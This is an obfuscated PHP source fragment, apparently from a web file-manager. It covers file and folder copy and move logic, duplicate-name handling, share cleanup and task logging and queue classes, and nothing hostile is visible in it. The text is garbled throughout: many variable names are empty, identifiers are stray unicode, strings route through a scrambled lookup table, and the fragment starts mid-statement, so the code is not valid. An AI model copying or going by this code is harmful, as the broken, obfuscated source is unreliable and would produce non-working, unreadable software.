$this->sourceInfo($); $ = $this->sourceInfo($ֆ͢); $ㄫ = $ţ[$[555]] . $ţ[$[183]] . $[50]; $ʝ = $[$[555]] . $[$[183]] . $[50]; $ľ = strpos($ʝ, $ㄫ) === 0; return $ľ; } private $targetIsDelete = 0; public function copy($, $٧ξ, $Ц = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[砐]; $ς = $this->sourceInfo($); $Ǖ = $this->sourceInfo($٧ξ); if (!$ς || !$Ǖ || $Ǖ[$[455]] != $[90]) { return !1; } if ($this->isParentOf($, $٧ξ)) { return !1; } $ = $ ? $ : $ς[$[32]]; $this->lockCopyStart($); $this->lockWriteStart($٧ξ, $); $ = array($[599] => array(), $[600] => array(), $[601] => array()); $this->targetIsDelete = intval($ς[$[475]]); $ = $this->fileNameExistAuto($٧ξ, $ς); $ = $this->_copy($, $٧ξ, $Ц, $, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($٧ξ, $); if ($ς[$[455]] == $[90] && $ == $) { $this->folderSizeResetChildren($); } Model($[602])->addAll($[$[600]], array(), !0); if ($ != $ || $ς[$[455]] == $[90]) { Model($[603])->eventCopy($); } $this->saveAll($[$[601]]); Model($[216])->linkAdd($[$[599]]); $this->folderSizeReset($٧ξ); $this->updateModifyTime($٧ξ); return $; } private function _copy($Ш, $Ƶ, $ۦ, &$ڟ, $, $҄ = '') { $ԗ =& $_SERVER[砐]; $݀ = $this->sourceInfoCache($Ш); $ = $݀[$ԗ[455]] == $ԗ[90]; $ = $҄ ? $҄ : $݀[$ԗ[32]]; $ȷ = $this->fileNameExistAuto($Ƶ, $݀); if ($) { $this->_childrenAllMake($Ш); if ($ && $ȷ) { $this->_childrenAllMake($ȷ); } } if (!$ȷ) { return $this->_copyCreate($Ш, $Ƶ, $, $ڟ); } $ = $ȷ; if ($) { if ($ۦ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ƶ, $, $ۦ, $); $ = $this->_copyCreate($Ш, $Ƶ, $, $ڟ); } else { $ = $this->_childrenList($Ш); foreach ($ as $) { $this->_copy($[$ԗ[183]], $ȷ, $ۦ, $ڟ, !1); } } } else { if ($ۦ == REPEAT_RENAME || $ۦ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ƶ, $, $ۦ, $); $ = $this->_copyCreate($Ш, $Ƶ, $, $ڟ); } else { if ($ۦ == REPEAT_REPLACE) { $ӹ = $this->sourceInfoCache($ȷ); $Ʋһ = $this->fileHistory($ӹ, $݀[$ԗ[511]], $݀[$ԗ[78]]); if ($Ʋһ) { $ڟ[$ԗ[599]][] = $݀[$ԗ[511]]; } } else { if ($ۦ == REPEAT_SKIP) { } } } Hook::trigger($ԗ[604], array($ԗ[605], $݀, 0)); } return $; } private function _copyCreate($μ, $, $ǜ, &$) { $䉒樄 =& $_SERVER[砐]; $ = $this->sourceInfoCache($μ); $ƍ = $this->sourceInfoCache($); $ٛ = $this->_makeItemData($, $ƍ, $ǜ); Hook::trigger($䉒樄[606], $ٛ); Hook::trigger($䉒樄[607], array($䉒樄[608], $ٛ, 0)); $ = $this->add($ٛ); $̐ = array($䉒樄[183] => $, $䉒樄[32] => $ǜ); $this->_copyApplyMeta($̐, $); if ($[$䉒樄[455]] != $䉒樄[90]) { $[$䉒樄[599]][] = $[$䉒樄[511]]; return $; } $ = array(); $ = array(); $this->_childrenListAll($μ, $); $ = count($); if ($ == 0) { return $; } $򽽏 = $this->sourceInfo($); foreach ($ as $ƪ̹) { $ = $this->_makeItemData($ƪ̹, $򽽏, $ƪ̹[$䉒樄[32]]); $[$䉒樄[555]] = $ƪ̹[$䉒樄[555]]; $[] = $; } $this->chunkEventSet($䉒樄[609], array($䉒樄[610], $ٛ, $)); $this->addAll($, array(), !1); $Ꙉ = $this->where(array($䉒樄[182] => $))->select(); $傜 = $this->_childrenMakeRelation($, $Ꙉ); $傜[$μ] = $; $ګ = array(); $ = array(); foreach ($Ꙉ as $ƪ̹) { $ӡ = $ƪ̹[$䉒樄[183]]; $ɭ = $this->_childrenMatch($傜, $ƪ̹, $򽽏); $ګ[] = array($䉒樄[183], $ӡ, $䉒樄[182], $ɭ[$䉒樄[182]]); $[] = array($䉒樄[183], $ӡ, $䉒樄[555], $ɭ[$䉒樄[555]]); $this->_copyApplyMeta($ƪ̹, $); if ($ƪ̹[$䉒樄[455]] != $䉒樄[90]) { $[$䉒樄[599]][] = $ƪ̹[$䉒樄[511]]; } } $this->chunkEventSet($䉒樄[611], array($䉒樄[612], $ٛ, $)); $this->saveAll($ګ); $this->chunkEventSet($䉒樄[613], array($䉒樄[614], $ٛ, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($̝ځ, $Ô) { $Խ =& $_SERVER[砐]; $ׯ = array(); $ = array(); foreach ($̝ځ as $) { $尬 = $[$Խ[32]] . $Խ[8] . $[$Խ[555]]; $ׯ[$尬] = $[$Խ[183]]; } foreach ($Ô as $) { $尬 = $[$Խ[32]] . $Խ[8] . $[$Խ[555]]; $ = $ׯ[$尬]; $[$] = $[$Խ[183]]; } return $; } private function _childrenMatch($, $٥, $ם) { $ª =& $_SERVER[砐]; $̍ = $ם[$ª[555]]; $ǻ = $this->parentLevelArray($٥[$ª[555]]); foreach ($ǻ as $ðϞ݁) { if (isset($[$ðϞ݁])) { $̍ .= $[$ðϞ݁] . $ª[615]; } } $̍ = rtrim($̍, $ª[50]) . $ª[50]; $Ǐ = $this->parentLevelArray($̍); $̍ = $Ǐ[count($Ǐ) - 1]; return array($ª[182] => $̍, $ª[555] => $̍); } private function _makeItemData($, $ߏř, $) { $ =& $_SERVER[砐]; $ = array($[616] => $[$[455]], $[464] => $, $[617] => $[$[456]] ? $[$[456]] : $[12], $[512] => $[$[511]] ? $[$[511]] : 0, $[587] => $[$[78]] ? $[$[78]] : 0, $[618] => intval($ߏř[$[180]]), $[619] => intval($ߏř[$[540]]), $[620] => intval(USER_ID), $[621] => intval(USER_ID), $[447] => intval($ߏř[$[183]]), $[622] => $ߏř[$[555]] . $ߏř[$[183]] . $[50], $[468] => $[$[87]] ? $[$[87]] : time(), $[474] => 0, $[623] => $[12]); return $; } private function _copyApplyMeta($֑, &$ʵ) { $ =& $_SERVER[砐]; $ = $֑[$[183]]; $ = $֑[$[32]]; if (!isset($֑[$[624]]) || !$֑[$[624]] || $֑[$[624]] == $[214]) { $ʵ[$[601]][] = array($[183], $, $[624], short_id($)); } if (Input::check($, $[625])) { $ʵ[$[600]][] = array($[183] => $, $[96] => $[508], $[420] => str_replace($[53], $[12], Pinyin::get($))); $ʵ[$[600]][] = array($[183] => $, $[96] => $[507], $[420] => Pinyin::get($, $[626])); } $ʵ[$[600]][] = array($[183] => $, $[96] => $[487], $[420] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ǫ =& $_SERVER[砐]; $ = $this->sourceInfo($); $ = $ǫ[627]; $ۑ轜 = array($ǫ[555] => array($ǫ[582], $[$ǫ[555]] . $ . $ǫ[583]), $ǫ[475] => $this->targetIsDelete); $ = $this->field($)->where($ۑ轜)->select(); if (!$) { return; } $ = array_to_keyvalue($, $ǫ[183]); foreach ($ as $) { $ՠ = $[$ǫ[182]]; $ = $[$ǫ[183]]; if (!isset($this->_childrenListCache[$]) && $[$ǫ[455]] == $ǫ[90]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$ՠ])) { $this->_childrenListCache[$ՠ] = array(); } $this->_childrenListCache[$ՠ][$] = $; $this->_childrenItemCache[$] = $; } } private function _childrenListAll($É, &$) { $➊Ѹ =& $_SERVER[砐]; if (!isset($this->_childrenListCache[$É])) { return; } $Ȏ = $this->_childrenListCache[$É]; foreach ($Ȏ as $ح => $) { $[$ح] = $; if ($[$➊Ѹ[455]] == $➊Ѹ[90]) { $this->_childrenListAll($ح, $); } } } private function sourceInfoCache($“) { if (isset($this->_childrenItemCache[$“])) { return $this->_childrenItemCache[$“]; } return $this->sourceInfo($“); } private function _childrenList($¤) { if (isset($this->_childrenListCache[$¤])) { return $this->_childrenListCache[$¤]; } return $this->_childrenListSelect($¤); } private function _childrenListSelect($ӎŌ) { $̝ =& $_SERVER[砐]; $ = array($̝[182] => $ӎŌ, $̝[475] => $this->targetIsDelete); $ژ = $this->where($)->select(); $ژ = $ژ ? $ژ : array(); $ = array_to_keyvalue($ژ, $̝[183]); $this->_childrenListCache[$ӎŌ] = $; foreach ($ as $ӎŌ => $რρ) { $this->_childrenItemCache[$ӎŌ] = $რρ; } return $; } private function fileNameExistAuto($̽ߢ, $) { $ј =& $_SERVER[砐]; if ($[$ј[475]] == $ј[90]) { return $this->fileNameExist($̽ߢ, $[$ј[32]]); } return $this->fileNameExistCache($̽ߢ, $[$ј[32]]); } private function fileNameExistCache($, $) { $Ӥ =& $_SERVER[砐]; $ = strtolower($); $片 = $this->_childrenList($); foreach ($片 as $) { if ($ == strtolower($[$Ӥ[32]])) { return $[$Ӥ[183]]; } } return !1; } private function fileNameAutoCache($, $, $ƽĢ, $) { $庬 =& $_SERVER[砐]; $ = $this->_childrenList($); $ҽĮ = array_to_keyvalue($, $庬[12], $庬[32]); return $this->fileNameAutoGet($ҽĮ, $, $ƽĢ, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $ᲊ, $К = REPEAT_REPLACE, $ = '') { $ƕ =& $_SERVER[砐]; $ = $this->sourceInfo($); $笗 = $this->sourceInfo($ᲊ); if ($[$ƕ[182]] == $笗[$ƕ[183]]) { if ($[$ƕ[475]] == $ƕ[90]) { Model($ƕ[473])->restore(array($)); } if (!$ || $ == $[$ƕ[32]]) { return $; } } $ʬ = $this->pathInfoMore($); if ($this->isParentOf($, $ᲊ)) { return !1; } if (!$ || !$笗 || $笗[$ƕ[455]] != $ƕ[90]) { return !1; } Hook::trigger($ƕ[628], $ʬ); $this->targetIsDelete = intval($[$ƕ[475]]); if ($[$ƕ[182]] == $ᲊ && $ != $[$ƕ[32]]) { $Բě = $this->fileNameExist($ᲊ, $); if ($Բě && $[$ƕ[455]] == $ƕ[214]) { $ = $this->sourceInfo($Բě); $ݧ = $this->fileHistory($, $[$ƕ[511]], $[$ƕ[78]]); if (!$ݧ) { Model($ƕ[514])->remove($[$ƕ[511]]); } $this->removeNow($, !1); $this->folderSizeReset($ᲊ); Hook::trigger($ƕ[629], $ʬ); return $Բě; } } $ = $ ? $ : $[$ƕ[32]]; $this->lockMoveStart($); $this->lockWriteStart($ᲊ, $); $ݝ = array($ƕ[599] => array(), $ƕ[630] => !1); $this->clearShare($, $ᲊ); $Ѽ = $this->fileNameExistAuto($ᲊ, $); $ = $this->_move($, $ᲊ, $К, $ݝ, $); $this->sourceCacheClear(); if ($[$ƕ[455]] == $ƕ[90] && $Ѽ) { $this->folderSizeResetChildren($); } Model($ƕ[216])->linkAdd($ݝ[$ƕ[599]]); if ($Ѽ && $ݝ[$ƕ[630]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($ᲊ, $); $this->folderSizeReset($[$ƕ[182]]); $this->folderSizeReset($ᲊ); $ = array($[$ƕ[182]], $ᲊ); if ($[$ƕ[455]] == $ƕ[90]) { $[] = $; } $this->updateModifyTime($); Model($ƕ[603])->eventMove($, $[$ƕ[182]], $ᲊ); Hook::trigger($ƕ[629], $ʬ); return $; } private function _move($悄, $ج, $, &$Ɯ, $ = '') { $߂ =& $_SERVER[砐]; $ٝ = $this->sourceInfo($悄); $ʣޱ = $ٝ[$߂[455]] == $߂[90]; $缪 = $ ? $ : $ٝ[$߂[32]]; $Ś = $this->fileNameExistAuto($ج, $ٝ); $this->lockMoveStart($悄); $this->lockWriteStart($ج, $缪); if (!$Ś) { return $this->_moveForce($悄, $ج, $缪); } $Ð = $Ś; $ɗ = !1; if ($ʣޱ) { if ($ == REPEAT_RENAME_FOLDER) { $缪 = $this->fileNameAuto($ج, $缪, $, $ʣޱ); $Ð = $this->_moveForce($悄, $ج, $缪); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($悄); foreach ($ as $Ý) { $this->_move($Ý[$߂[183]], $Ś, $, $Ɯ); } $ɗ = !0; } } else { if ($ == REPEAT_SKIP) { $ɗ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $缪 = $this->fileNameAuto($ج, $缪, $, $ʣޱ); $Ð = $this->_moveForce($悄, $ج, $缪); } else { if ($ == REPEAT_REPLACE) { $˨ = $this->sourceInfoCache($Ś); $ʦ = $this->fileHistory($˨, $ٝ[$߂[511]], $ٝ[$߂[78]]); $ɗ = !0; if ($ʦ) { $Ɯ[$߂[599]][] = $ٝ[$߂[511]]; } } } } } if ($ɗ && !$Ɯ[$߂[630]]) { $Ɯ[$߂[630]] = !0; } return $Ð; } private function _moveForce($ǀ, $ß, $ő) { $Ӱ =& $_SERVER[砐]; $ = $this->sourceInfo($ǀ); $ޏ = $this->sourceInfo($ß); $܄ = $[$Ӱ[455]] == $Ӱ[90]; $ێ = array($Ӱ[447] => $ޏ[$Ӱ[183]], $Ӱ[622] => $ޏ[$Ӱ[555]] . $ޏ[$Ӱ[183]] . $Ӱ[50], $Ӱ[618] => $ޏ[$Ӱ[180]], $Ӱ[619] => $ޏ[$Ӱ[540]], $Ӱ[621] => USER_ID, $Ӱ[464] => $ő); $ӈ = $[$Ӱ[180]] == SourceModel::TYPE_GROUP && $ޏ[$Ӱ[180]] == SourceModel::TYPE_GROUP && $[$Ӱ[540]] == $ޏ[$Ӱ[540]]; if (!$ӈ && $this->moveClearAuth) { Model($Ӱ[538])->authClear($ǀ); } $ = $[$Ӱ[475]] == $Ӱ[90] && $ޏ[$Ӱ[475]] != $Ӱ[90]; if ($) { $ێ[$Ӱ[474]] = 0; } if ($܄) { $ = array($Ӱ[622] => array($Ӱ[582], $[$Ӱ[555]] . $[$Ӱ[183]] . $Ӱ[583])); $ = $[$Ӱ[555]] . $[$Ӱ[183]] . $Ӱ[50]; $ = $ޏ[$Ӱ[555]] . $ޏ[$Ӱ[183]] . $Ӱ[50] . $[$Ӱ[183]] . $Ӱ[50]; $ = array($Ӱ[622] => array($Ӱ[631], "\162\x65\160\x6c\x61\143\145\50\x70\x61\162\145\x6e\x74\114\x65\166\x65\154\54\47{$}\47\x2c\47{$}\x27\x29"), $Ӱ[618] => $ޏ[$Ӱ[180]], $Ӱ[619] => $ޏ[$Ӱ[540]]); if ($) { $[$Ӱ[474]] = 0; } $this->where($)->data($)->save(); } $this->where(array($Ӱ[461] => $ǀ))->data($ێ)->save(); return $ǀ; } private function clearShare($, $) { $ =& $_SERVER[砐]; $͇ = $this->sourceInfo($); $Ӕ = $this->sourceInfo($); if ($͇[$[540]] == $Ӕ[$[540]] && $͇[$[180]] == $[632]) { return; } $ = array($[555] => array($[582], $͇[$[555]] . $ . $[583])); $ܯ = $this->field($[461])->where($)->getField($[183], !0); if (!$ܯ) { return; } $ = array($[183] => array($[7], $ܯ), $[633] => 1); $ݨ = Model($[634])->field($[635])->where($)->select(); if (!$ݨ) { return; } $ݨ = array_to_keyvalue($ݨ, $[12], $[635]); $ = array($[635] => array($[7], $ݨ)); Model($[634])->where($)->save(array($[633] => 0)); Model($[636])->where($)->delete(); } public function copyFolderFromIO($ۿ, $Ĭ, $, $, $ڃ, $п = false) { $✥ =& $_SERVER[砐]; $ݗ = array($✥[600] => array(), $✥[601] => array(), $✥[599] => array(), $✥[637] => array()); $ߋ = $п ? $п : $ۿ->pathThis($Ĭ); $ˇ = $this->fileNameExist($, $ߋ); $ = $this->mkdir($, $ߋ, $); if (!$ˇ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($ˇ) { $this->_childrenAllMake($ˇ); } Hook::trigger($✥[638]); $this->_copyChildTo($ۿ, $Ĭ, $, $, $ݗ, $ڃ); Hook::trigger($✥[639]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($✥[602])->addAll($ݗ[$✥[600]], array(), !0); Model($✥[603])->eventCopy($); $this->saveAll($ݗ[$✥[601]]); Model($✥[514])->linkAdd($ݗ[$✥[599]]); Model($✥[514])->remove($ݗ[$✥[637]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($, $֯ٴ, $ǚ, $, &$ՠ, $) { $툹 =& $_SERVER[砐]; $̑ = $this->sourceInfoCache($ǚ); $ = $->listPath($֯ٴ); $ = $ ? $ : array($툹[85] => array(), $툹[84] => array()); $ = array_merge($[$툹[85]], $[$툹[84]]); $® = $this->_addFiles($, $[$툹[85]], $); $Ǩ = array(); foreach ($ as &$ׁ) { if (isset($®[$ׁ[$툹[32]]])) { $ׁ = $®[$ׁ[$툹[32]]]; } $ׁ[$툹[455]] = $ׁ[$툹[33]] == $툹[77]; $ׁ[$툹[456]] = substr(_get($ׁ, $툹[177], $툹[12]), 0, 10); $ׁ[$툹[78]] = _get($ׁ, $툹[78], 0); $ׁ[$툹[511]] = _get($ׁ, $툹[511], 0); if (!isset($ׁ[$툹[640]]) && $ׁ[$툹[511]]) { $ՠ[$툹[637]][] = $ׁ[$툹[511]]; } if ($) { $􀍎 = $this->fileNameExistCache($ǚ, $ׁ[$툹[32]]); if ($􀍎) { if ($ׁ[$툹[455]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ԙЈ = $this->sourceInfoCache($􀍎); $ = $this->fileHistory($ԙЈ, $ׁ[$툹[511]], $ׁ[$툹[78]]); if ($) { $ՠ[$툹[599]][] = $ׁ[$툹[511]]; } continue; } else { if ($ == REPEAT_RENAME) { $ׁ[$툹[32]] = $this->fileNameAutoCache($ǚ, $ׁ[$툹[32]], $, !1); } } } } if (!$ׁ[$툹[455]] && $ׁ[$툹[511]] == 0) { continue; } if (!$ׁ[$툹[455]] && $ׁ[$툹[511]]) { $ՠ[$툹[599]][] = $ׁ[$툹[511]]; } $Ǩ[] = $this->_makeItemData($ׁ, $̑, $ׁ[$툹[32]]); } unset($ׁ); if (!empty($Ǩ)) { $this->addAll($Ǩ); $this->_childrenListSelect($ǚ); } $֗É = $this->_childrenList($ǚ); $֗É = array_to_keyvalue($֗É, $툹[32]); foreach ($ as $ׁ) { $ԙЈ = $֗É[$ׁ[$툹[32]]]; $° = $ԙЈ[$툹[183]]; $this->_copyApplyMeta($ԙЈ, $ՠ); if ($ׁ[$툹[33]] == $툹[77]) { $ׁ[$툹[86]] = $->getPathInner($ׁ[$툹[86]]); $this->_copyChildTo($, $ׁ[$툹[86]], $°, $, $ՠ, $); } } } private function _addFiles($, $, $) { $벋 =& $_SERVER[砐]; if (!$ || count($) == 0) { return array(); } $󁛈 = array(); foreach ($ as &$) { Hook::trigger($벋[641], $); $[$벋[86]] = $->getPathInner($[$벋[86]]); $莘п = $->hashSimple($[$벋[86]]); $ = $->hashMd5($[$벋[86]]); if (strlen($) > 10 && !isset($󁛈[$])) { $󁛈[$] = array(); } $[$벋[642]] = $莘п; $[$벋[517]] = $; $󁛈[$][] =& $; if (count($󁛈[$]) > 1) { $[$벋[640]] = !0; } Hook::trigger($벋[643], $); } unset($); $ïǔ = array($벋[517] => array($벋[7], array_keys($󁛈))); $آ = Model($벋[644]); $՘ = $آ->where($ïǔ)->select(); $՘ = $՘ ? $՘ : array(); foreach ($՘ as $߼) { if (!isset($󁛈[$߼[$벋[517]]])) { continue; } $Ԁ = $󁛈[$߼[$벋[517]]]; foreach ($Ԁ as &$) { $[$벋[511]] = $߼[$벋[511]]; $[$벋[640]] = !0; } unset($); } $܋ = array(); foreach ($ as $ԋ) { Hook::trigger($벋[645], $ԋ); if (isset($ԋ[$벋[640]]) && $ԋ[$벋[640]]) { Hook::trigger($벋[646], $ԋ); continue; } $Λ = $->getPathInner($ԋ[$벋[86]]); $ = $آ->addFileMake($Λ, $ԋ[$벋[78]], $ԋ[$벋[642]], $ԋ[$벋[517]], $ԋ[$벋[32]], $); Hook::trigger($벋[646], $ԋ); if (!is_array($)) { continue; } $܋[] = $; } $آ->addAll($܋); $ïǔ = array($벋[517] => array($벋[7], array_keys($󁛈))); $՘ = $آ->where($ïǔ)->select(); $՘ = $՘ ? $՘ : array(); foreach ($՘ as $߼) { if (!isset($󁛈[$߼[$벋[517]]])) { continue; } $ =& $󁛈[$߼[$벋[517]]]; foreach ($ as &$) { $[$벋[511]] = $߼[$벋[511]]; } unset($); } $Ծ = array(); foreach ($ as $) { $Ծ[$[$벋[32]]] = $; } return $Ծ; } } goto A􆫨; D: function binCheckBigger($, $օ) { return $ > $օ; } $_SERVER[$_SERVER[̻][3]] = ("\x38\x32\x39\x35"."\61\70")+0;$_bdi6="quemzivyc2okd0fps6x4b5wjnalthr3817g9g5zqsojfir0kvt3byw491u682cdemnap7xhle460fs";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($ǯ, $Γ) { $‡ =& $_SERVER[砐]; if (isset(self::$_methodList[$ǯ])) { return @call_user_func_array(self::$_methodList[$ǯ], $Γ); } else { if (method_exists($this, $ǯ)) { return call_user_func_array(array($this, $ǯ), $Γ); } else { think_exception(__CLASS__ . $‡[4] . $ǯ . $‡[5]); } } } public static function __callStatic($ϐ㻜, $Ӱ) { if (isset(self::$_methodListStatic[$ϐ㻜])) { return call_user_func_array(self::$_methodListStatic[$ϐ㻜], $Ӱ); } else { if (method_exists(self, $ϐ㻜)) { return call_user_func_array(array(self, $ϐ㻜), $Ӱ); } else { show_json("{$ϐ㻜}\x28\51\x20\x6e\x6f\164\40\145\x78\151\163\164\73", !1); } } } public static function addMethod($뉁ԟ, $ަ) { self::$_methodList[$뉁ԟ] = $ަ; } public static function addMethodStatic($Ԕ, $) { self::$_methodListStatic[$Ԕ] = $; } } goto dӃ; Fҝ: class TaskHttp extends Task { protected function startAfter() { $韴 =& $_SERVER[砐]; $ㆈ =& $this->task; $ㆈ[$韴[1783]] = 1; Hook::bind($韴[1750], array($this, $韴[1784])); Hook::bind($韴[1752], array($this, $韴[1785])); Hook::bind($韴[1754], array($this, $韴[1786])); } protected function endAfter() { $̗ =& $_SERVER[砐]; Hook::unbind($̗[1750], array($this, $̗[1784])); Hook::unbind($̗[1752], array($this, $̗[1785])); Hook::unbind($̗[1754], array($this, $̗[1786])); } public function progressStart($׀) { $ =& $_SERVER[砐]; $圸 = curl_getinfo($׀); self::log($[1787] . $圸[$[353]]); self::valueSet($this->task[$[445]], $this->task); } public function progressEnd($χӁ) { $᯽ =& $_SERVER[砐]; self::log($᯽[1788] . $this->task[$᯽[445]]); $this->end(); } public function progress($乯, $杼٨, $ר, $̶͡, $ݛ) { $ =& $_SERVER[砐]; $֬ =& $this->task; if ($ݛ > 0) { $֬[$[831]] = $֬[$[831]] == 0 ? $̶͡ : $֬[$[831]]; $֬[$[1706]] = $ݛ; } else { if ($ר > 0) { $֬[$[831]] = $֬[$[831]] == 0 ? $杼٨ : $֬[$[831]]; $֬[$[1706]] = $ר; } } $this->update(); self::log("\x70\x72\157\147\x72\145\x73\163\110\164\x74\160\x3a\144\157\x77\156\72{$ר}\57{$杼٨}\73\x20\x75\160\154\157\x61\144\x3a{$ݛ}\57{$̶͡}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ަ = '', $щǮ = 0, $ = '') { $ =& $_SERVER[砐]; $ = $ ? $ : ($ަ ? $ަ : $); $޶ئ = new Task($, $ަ, $щǮ, $); $GLOBALS[$[1789] . $] = new TaskLog($[1689], $޶ئ, $); return $޶ئ; } public function __construct($ = '', $а = '', $ޖ = '') { $ǥ =& $_SERVER[砐]; if (!$) { $ = $ǥ[1689]; } $ = $ . $ǥ[432] . rand_string(10); if (!$ޖ) { $ޖ = $ . $ǥ[53] . $ޖ; } switch ($) { case $ǥ[1689]: if (!$а || !$а->task) { return echoLog($ . $ǥ[1790]); } $ߦ = $а; $ = $ߦ->task[$ǥ[445]]; $ = $ߦ->task[$ǥ[445]]; if (!$ߦ->task[$ǥ[1593]]) { $ߦ->task[$ǥ[1593]] = $ޖ ? $ޖ : $; } break; case $ǥ[1791]: if (!$а) { return echoLog($ . $ǥ[1792]); } $Ř = is_string($а) ? array($а) : $а; $ߦ = new TaskFileTransfer($, $, 0, $ޖ ? $ޖ : $Ř[0]); foreach ($Ř as $ة) { $ߦ->addPath($ة); } break; case $ǥ[359]: if (!$а) { return echoLog($ . $ǥ[1792]); } $Ř = is_string($а) ? array($а) : $а; $ߦ = new TaskZip($, $, 0, $ޖ ? $ޖ : $Ř[0]); foreach ($Ř as $ة) { $ߦ->addPath($ة); } break; case $ǥ[1265]: if (!$а) { return echoLog($ . $ǥ[1792]); } $ߦ = new TaskUnZip($, $, 0, $ޖ ? $ޖ : $а); if ($а) { $ߦ->addFile($а); } break; case $ǥ[151]: $ߦ = new TaskHttp($, $); break; default: return; break; } $this->task = $ߦ; $this->taskID = $; Hook::bind($ǥ[1726], array($this, $ǥ[1793])); Hook::bind($ǥ[1728], array($this, $ǥ[1794])); Hook::bind($ǥ[1722], array($this, $ǥ[1795])); echoLog($ǥ[1796] . $ߦ->task[$ǥ[1593]]); } public function __destruct() { $this->end(); } public function end($Ϝ = '') { $ =& $_SERVER[砐]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($Ϝ); $this->task = !1; $this->taskID = !1; Hook::unbind($[1726], array($this, $[1793])); Hook::unbind($[1728], array($this, $[1794])); Hook::unbind($[1722], array($this, $[1795])); } public function taskUpdate($Ƈ) { $ٔ =& $_SERVER[砐]; if (!$Ƈ || $this->taskID != $Ƈ[$ٔ[445]]) { return; } $灭 = 20; $ = intval($Ƈ[$ٔ[1707]] * $灭); $٧ = $ٔ[165] . str_repeat($ٔ[935], $) . $ٔ[1065] . str_repeat($ٔ[53], $灭 - $) . $ٔ[167]; $򀙅 = $٧ . sprintf($ٔ[1797], $Ƈ[$ٔ[1707]] * 100) . $ٔ[1798]; $增 = $򀙅 . $Ƈ[$ٔ[1706]] . $ٔ[8] . $Ƈ[$ٔ[831]] . LNG($ٔ[1799]); $ = $ٔ[12]; if ($Ƈ[$ٔ[1783]]) { $增 = $򀙅 . size_format($Ƈ[$ٔ[1706]]) . $ٔ[8] . size_format($Ƈ[$ٔ[831]]); $ = size_format($Ƈ[$ٔ[1708]]) . $ٔ[1800]; } if ($Ƈ[$ٔ[1115]]) { $Ƈ[$ٔ[1756]] = $Ƈ[$ٔ[1115]] . $ٔ[53] . $Ƈ[$ٔ[1756]]; } if ($Ƈ[$ٔ[1756]]) { $ = $ٔ[12]; if ($Ƈ[$ٔ[1758]]) { $ = $ٔ[50] . size_format($Ƈ[$ٔ[1759]]) . $ٔ[8] . size_format($Ƈ[$ٔ[1758]]); } $ .= $Ƈ[$ٔ[1756]] . $; } if ($Ƈ[$ٔ[808]] && !$Ƈ[$ٔ[1758]]) { $ .= $ٔ[53] . size_format($Ƈ[$ٔ[1763]]) . $ٔ[8] . size_format($Ƈ[$ٔ[808]]); } echoLog($增 . $ٔ[53] . $, !0); } public function taskEnd($) { $빜 =& $_SERVER[砐]; if (!$ || $this->taskID != $[$빜[445]]) { return; } $ꔃ = $ ? $[$빜[1706]] . $빜[8] . $[$빜[831]] . LNG($빜[1799]) . $빜[73] : $빜[12]; echoLog($빜[1801] . $[$빜[1593]] . ($[$빜[496]] ? $빜[73] . $[$빜[496]] : $빜[12]) . $빜[73] . $ꔃ . $빜[1802] . sprintf($빜[896], timeFloat() - $[$빜[1709]]) . $빜[1721]); $this->end(); } public function taskKill($) { $¤ =& $_SERVER[砐]; if (!$ || $this->taskID != $[$¤[445]]) { return; } echoLog($¤[1803] . $[$¤[1593]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\x73\153\121\165\x65\x75\x65\114\145\x6e\x67\164\150"; const QUEUE_DATA = "\x74\141\x73\x6b\121\165\145\x75\145\x44\141\x74\x61"; const QUEUE_TIME = "\164\141\163\x6b\x51\x75\x65\165\x65\114\141\x73\164\x52\x75\x6e"; const QUEUE_THREAD = "\x74\141\x73\153\121\165\x65\x75\x65\124\150\162\145\x61\x64"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($փ, $ո = array(), $ɑ = '', $ϽՍ = '') { $刟 =& $_SERVER[砐]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ϽՍ && array_find_by_field(self::$listData, $刟[96], $ϽՍ)) { return !0; } if ($ϽՍ && array_find_by_field(self::$listDataAdd, $刟[96], $ϽՍ)) { return !0; } self::$listDataAdd[] = array($刟[310] => $փ, $刟[1804] => $ո, $刟[496] => $ɑ, $刟[96] => $ϽՍ); return !0; } public static function addSubmit() { $Ňń =& $_SERVER[砐]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($Ňń[1805] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $Ňń[12], $Ňń[496])), $Ňń[187]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($ʤ, $˘ = array(), $ = '', $ = '') { $ =& $_SERVER[砐]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $[96], $)) { return !0; } $[] = array($[310] => $ʤ, $[1804] => $˘, $[496] => $, $[96] => $); self::setAll($); write_log($[1805] . $, $[187]); return !0; } public static function run() { $杇 =& $_SERVER[砐]; $ = self::getAll(); $Ɛ = array_shift($); if (!$Ɛ) { return !1; } 